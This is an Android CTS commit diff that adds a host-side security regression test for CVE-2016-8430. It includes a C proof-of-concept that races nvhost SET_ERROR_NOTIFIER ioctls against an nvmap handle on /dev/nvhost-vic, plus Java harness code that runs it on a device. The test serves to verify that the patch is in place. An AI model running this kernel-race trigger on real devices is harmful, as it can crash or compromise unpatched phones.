DO NOT MERGE Initial hostside commit for CVE-2016-8430 b/32225180

Change-Id: I985d2416eea9f38d09f4d9628c651c06a4b78db2
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8430/poc.c b/hostsidetests/security/securityPatch/CVE-2016-8430/poc.c
new file mode 100644
index 0000000..0717d0b
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-8430/poc.c
@@ -0,0 +1,204 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+
+#include <errno.h>
+#include <unistd.h>
+#include <stdio.h>
+#include <dirent.h>
+#include <string.h>
+#include <sys/stat.h>
+#include <sys/ioctl.h>
+#include <stdio.h>
+#include <string.h>
+#include <dlfcn.h>
+#include <sys/time.h>
+#include <sys/mman.h>
+#include <sys/syscall.h>
+#include <sys/resource.h>
+#include <fcntl.h>
+#include <pthread.h>
+#include <unistd.h>
+#include <sched.h>
+#include <stdlib.h>
+
+struct nvhost_channel_open_args {
+	__s32 channel_fd;
+};
+struct nvhost_set_error_notifier {
+	__u64 offset;
+	__u64 size;
+	__u32 mem;
+	__u32 padding;
+};
+#define NVHOST_IOCTL_MAGIC 'H'
+#define NVHOST_IOCTL_CHANNEL_OPEN	\
+	_IOR(NVHOST_IOCTL_MAGIC,  112, struct nvhost_channel_open_args)
+#define NVHOST_IOCTL_CHANNEL_SET_ERROR_NOTIFIER  \
+	_IOWR(NVHOST_IOCTL_MAGIC, 111, struct nvhost_set_error_notifier)
+struct nvmap_create_handle {
+	union {
+		__u32 id;	/* FromId */
+		__u32 size;	/* CreateHandle */
+		__s32 fd;	/* DmaBufFd or FromFd */
+	};
+	__u32 handle;		/* returns nvmap handle */
+};
+struct nvmap_alloc_handle {
+	__u32 handle;		/* nvmap handle */
+	__u32 heap_mask;	/* heaps to allocate from */
+	__u32 flags;		/* wb/wc/uc/iwb etc. */
+	__u32 align;		/* min alignment necessary */
+};
+#define NVMAP_HEAP_CARVEOUT_IRAM    (1ul<<29)
+#define NVMAP_HEAP_CARVEOUT_VPR     (1ul<<28)
+#define NVMAP_HEAP_CARVEOUT_TSEC    (1ul<<27)
+#define NVMAP_HEAP_CARVEOUT_GENERIC (1ul<<0)
+
+#define NVMAP_HEAP_CARVEOUT_MASK    (NVMAP_HEAP_IOVMM - 1)
+
+/* allocation flags */
+#define NVMAP_HANDLE_UNCACHEABLE     (0x0ul << 0)
+#define NVMAP_HANDLE_WRITE_COMBINE   (0x1ul << 0)
+#define NVMAP_HANDLE_INNER_CACHEABLE (0x2ul << 0)
+#define NVMAP_HANDLE_CACHEABLE       (0x3ul << 0)
+#define NVMAP_HANDLE_CACHE_FLAG      (0x3ul << 0)
+
+#define NVMAP_HANDLE_SECURE          (0x1ul << 2)
+#define NVMAP_HANDLE_KIND_SPECIFIED  (0x1ul << 3)
+#define NVMAP_HANDLE_COMPR_SPECIFIED (0x1ul << 4)
+#define NVMAP_HANDLE_ZEROED_PAGES    (0x1ul << 5)
+#define NVMAP_HANDLE_PHYS_CONTIG     (0x1ul << 6)
+#define NVMAP_HANDLE_CACHE_SYNC      (0x1ul << 7)
+#define NVMAP_IOC_MAGIC 'N'
+
+/* Creates a new memory handle. On input, the argument is the size of the new
+ * handle; on return, the argument is the name of the new handle
+ */
+ #define NVMAP_IOC_ALLOC    _IOW(NVMAP_IOC_MAGIC, 3, struct nvmap_alloc_handle)
+#define NVMAP_IOC_CREATE  _IOWR(NVMAP_IOC_MAGIC, 0, struct nvmap_create_handle)
+#define NVMAP_IOC_FREE       _IO(NVMAP_IOC_MAGIC, 4)
+int g_fd = -1;
+int g_nvmap_fd = -1;
+static pthread_cond_t cond = PTHREAD_COND_INITIALIZER;
+static pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;
+int g_channel_fd = -1;
+struct nvhost_set_error_notifier g_error_notifier;
+struct nvmap_create_handle g_nvmap_hdl;
+
+struct nvmap_alloc_handle g_real_alloc = {0};
+
+int open_driver() {
+    char* dev_path = "/dev/nvhost-vic";
+    g_fd = open(dev_path, O_RDONLY);
+    if (g_fd < 0) {
+        printf("open file(%s) failed, errno=%d\n", dev_path, errno);
+        return -1;
+    } else {
+        printf("open file(%s) succ!\n", dev_path);
+    }
+
+    dev_path = "/dev/nvmap";
+    g_nvmap_fd = open(dev_path, O_RDONLY);
+    if (g_nvmap_fd < 0) {
+        printf("open file(%s) failed, errno=%d\n", dev_path, errno);
+        return -1;
+    } else {
+        printf("open file(%s) succ!\n", dev_path);
+    }
+    return 1;
+}
+
+void trigger_channel_open() {
+    struct nvhost_channel_open_args args = {-1};
+    ioctl(g_fd, NVHOST_IOCTL_CHANNEL_OPEN, &args);
+    g_channel_fd = args.channel_fd;
+}
+
+int trigger_nvmap_create() {
+    g_nvmap_hdl.size = 0x1000;
+    ioctl(g_nvmap_fd, NVMAP_IOC_CREATE, &g_nvmap_hdl);
+    return g_nvmap_hdl.handle;
+}
+
+void trigger_nvmap_free() {
+    int data = g_nvmap_hdl.handle;
+    ioctl(g_nvmap_fd, NVMAP_IOC_FREE, data);
+}
+void trigger_nvmap_alloc(int handle) {
+    g_real_alloc.align = 0x1000;
+    g_real_alloc.heap_mask = NVMAP_HEAP_CARVEOUT_GENERIC;
+    g_real_alloc.flags = NVMAP_HANDLE_ZEROED_PAGES;
+    g_real_alloc.handle = handle;
+    ioctl(g_nvmap_fd, NVMAP_IOC_ALLOC, &g_real_alloc);
+}
+void prepare_data() {
+    g_error_notifier.offset = 0;
+    g_error_notifier.mem = g_nvmap_hdl.handle;
+}
+
+void trigger_set_error_notifier() {
+    ioctl(g_fd, NVHOST_IOCTL_CHANNEL_SET_ERROR_NOTIFIER, &g_error_notifier);
+}
+
+void setup_privi_and_affinity(int privi, unsigned long cpu_mask) {
+    setpriority(PRIO_PROCESS, gettid(), privi);
+
+    /* bind process to a CPU*/
+    if (sched_setaffinity(gettid(), sizeof(cpu_mask), &cpu_mask) < 0) {
+    }
+}
+
+void* race_thread(void* arg) {
+    setup_privi_and_affinity(-19, 2);
+    pthread_mutex_lock(&mutex);
+    pthread_cond_wait(&cond, &mutex);
+    pthread_mutex_unlock(&mutex);
+    while (1) {
+        trigger_set_error_notifier();
+    }
+    return NULL;
+}
+
+void* race_thread_2(void* arg) {
+    setup_privi_and_affinity(-19, 1);
+    pthread_mutex_lock(&mutex);
+    pthread_cond_wait(&cond, &mutex);
+    pthread_mutex_unlock(&mutex);
+    while (1) {
+        trigger_set_error_notifier();
+    }
+    return NULL;
+}
+
+int main(int argc, char**argv) {
+    setup_privi_and_affinity(0, 1);
+    if (open_driver() < 0) {
+        return -1;
+    }
+    //trigger_nvmap_create();
+    trigger_nvmap_alloc(trigger_nvmap_create());
+    prepare_data();
+    //trigger_nvmap_free();
+    pthread_t tid;
+    pthread_create(&tid, NULL, race_thread, NULL);
+    pthread_create(&tid, NULL, race_thread_2, NULL);
+    usleep(100 * 1000);
+    pthread_cond_broadcast(&cond);
+
+    sleep(100);
+    return 0;
+}
diff --git a/hostsidetests/security/src/android/security/cts/AdbUtils.java b/hostsidetests/security/src/android/security/cts/AdbUtils.java
index a3018fa..979ff5d 100644
--- a/hostsidetests/security/src/android/security/cts/AdbUtils.java
+++ b/hostsidetests/security/src/android/security/cts/AdbUtils.java
@@ -30,6 +30,7 @@
 import java.io.InputStream;
 import java.io.OutputStream;
 import java.util.Scanner;
+import java.util.concurrent.TimeUnit;
 
 public class AdbUtils {
 
@@ -51,17 +52,25 @@
      * @param device device to be ran on
      * @return the console output from the binary
      */
-    public static String runPoc(String pathToPoc, ITestDevice device) throws Exception {
-        String fullResourceName = pathToPoc;
-        File pocFile = File.createTempFile("poc", "");
-        try {
-            pocFile = extractResource(fullResourceName, pocFile);
-            device.pushFile(pocFile, "/data/local/tmp/poc");
-            device.executeShellCommand("chmod +x /data/local/tmp/poc");
-            return device.executeShellCommand("/data/local/tmp/poc");
-        } finally {
-            pocFile.delete();
-        }
+    public static String runPoc(String pocName, ITestDevice device) throws Exception {
+        device.executeShellCommand("chmod +x /data/local/tmp/" + pocName);
+        return device.executeShellCommand("/data/local/tmp/" + pocName);
+    }
+
+    /**
+     * Pushes and runs a binary to the selected device
+     *
+     * @param pathToPoc a string path to poc from the /res folder
+     * @param device device to be ran on
+     * @param timeout time to wait for output in seconds
+     * @return the console output from the binary
+     */
+    public static String runPoc(String pocName, ITestDevice device, int timeout) throws Exception {
+        device.executeShellCommand("chmod +x /data/local/tmp/" + pocName);
+        CollectingOutputReceiver receiver = new CollectingOutputReceiver();
+        device.executeShellCommand("/data/local/tmp/" + pocName, receiver, timeout, TimeUnit.SECONDS, 0);
+        String output = receiver.getOutput();
+        return output;
     }
 
     /**
diff --git a/hostsidetests/security/src/android/security/cts/Poc16_12.java b/hostsidetests/security/src/android/security/cts/Poc16_12.java
new file mode 100644
index 0000000..0e03c5d
--- /dev/null
+++ b/hostsidetests/security/src/android/security/cts/Poc16_12.java
@@ -0,0 +1,44 @@
+/**
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import com.android.tradefed.device.CollectingOutputReceiver;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceTestCase;
+
+import android.platform.test.annotations.RootPermissionTest;
+
+import java.io.BufferedOutputStream;
+import java.io.File;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.util.Scanner;
+
+public class Poc16_12 extends SecurityTestCase {
+    /**
+     *  b/32225180
+     */
+    public void testPocCVE_2016_8430() throws Exception {
+        if(containsDriver(getDevice(), "/dev/nvhost-vic")) {
+            AdbUtils.runPoc("CVE-2016-8430", getDevice(), 60);
+        }
+    }
+
+}
diff --git a/hostsidetests/security/src/android/security/cts/SecurityTestCase.java b/hostsidetests/security/src/android/security/cts/SecurityTestCase.java
index b6599c1..5c84850 100644
--- a/hostsidetests/security/src/android/security/cts/SecurityTestCase.java
+++ b/hostsidetests/security/src/android/security/cts/SecurityTestCase.java
@@ -64,6 +64,17 @@
     }
 
     /**
+     * Check if a driver is present on a machine
+     */
+    public boolean containsDriver(ITestDevice mDevice, String driver) throws Exception {
+        String result = mDevice.executeShellCommand("ls -Zl " + driver);
+        if(result.contains("No such file or directory")) {
+            return false;
+        }
+        return true;
+    }
+
+    /**
      * Makes sure the phone is online, and the ensure the current boottime is within 2 seconds
      * (due to rounding) of the previous boottime to check if The phone has crashed.
      */